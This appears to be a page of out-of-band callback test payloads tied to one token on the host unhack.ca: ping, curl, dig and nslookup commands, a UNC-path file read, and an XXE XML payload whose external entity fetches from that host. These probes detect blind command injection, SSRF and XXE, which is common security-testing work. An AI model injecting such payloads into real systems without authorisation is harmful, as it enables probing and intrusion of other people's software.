$ ping -c1 -p 00670f65f88dca506bf80dd61886b800 unhack.ca
 

$ curl http://unhack.ca/p/670f65f88dca506bf80dd61886b8
 

$ dig 670f65f88dca506bf80dd61886b8 @unhack.ca
 

$ dig 670f65f88dca506bf80dd61886b8.ns.unhack.ca
 

C:\> nslookup 670f65f88dca506bf80dd61886b8 unhack.ca
 

C:\> type \\unhack.ca\670f65f88dca506bf80dd61886b8\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/670f65f88dca506bf80dd61886b8">]>
    <foo>&xxe;</foo>